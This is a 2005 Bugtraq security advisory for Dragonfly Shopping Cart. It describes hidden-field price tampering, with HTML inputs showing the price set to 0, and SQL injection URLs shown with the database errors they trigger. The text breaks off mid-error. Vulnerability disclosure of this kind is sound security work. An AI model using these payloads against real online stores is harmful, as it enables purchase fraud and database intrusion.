

Dragonfly Shopping Cart Multiple vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2005-07/0196.html>

dcrab_at_hackerscenter.com

Date: 07/12/05

Date: 12 Jul 2005 08:53:52 -0000

To: bugtraq@securityfocus.com

('binary' encoding is not supported, stored as-is) Dcrab 's Security Advisory

<http://icis.digitalparadox.org/~dcrab>

<http://www.hackerscenter.com/>

Get Dcrab's Services to audit your Web servers, scripts, networks, etc or even code them. Learn more at

<http://www.dbtech.org>

Severity: High

Title: Dragonfly Shopping Cart Multiple vulnerabilities

Date: 11/07/2005

Vendor: DragonFly Shopping Cart

Vendor Website: http://www.incredibleinteractive.com/Active/dc_Productsview.asp?key=5

Summary: Vulnerabilities exist in Dragonfly Shopping Cart that allow modifying of prices along with Sql injection vulnerabilities.

Proof of Concept Exploits:

Hidden Price Value Vulnerability

You can modify these fields to modify the price of the product and thus be able to purchase the biggest and most expensive products for the cheapest possible prices, or even nothing.

/demo/dc_Categorieslist.asp

HPVV

```
<input type="hidden" name="x_DragonflyCartProductPrice" value="15.49" size="4">
```

/demo/dc_Categoriesview.asp

HPVV

```
<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">
```

/demo/dc_productslist.asp

HPVV

```
<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">
```

SecurityFocus Bugtraq: Dragonfly Shopping Cart Multiple vulnerabilities

/demo/dc_productslist_Clearance.asp
HPVV

```
<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">
```

There are also many other hidden fields like ip address etc which can be used to make the attack "technically" more anonymous though any normal logging system would catch you ;).

Sql Injections

/demo/dc_Categoriesview.asp??key='&RecPerPage=5

Microsoft JET Database Engine error '80040e07'

Data type mismatch in criteria expression.

/demo/dc_Categoriesview.asp, line 1054

/demo/dc_Categoriesview.asp?key=%26dir%26
Microsoft JET Database Engine error '80040e14'

Syntax error (missing operator) in query expression '[CategoryKey] = &dir&'.

/demo/dc_Categoriesview.asp, line 1054

/demo/dc_productslist_Clearance.asp

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression '([ProductActive] = 'show' AND ([Produ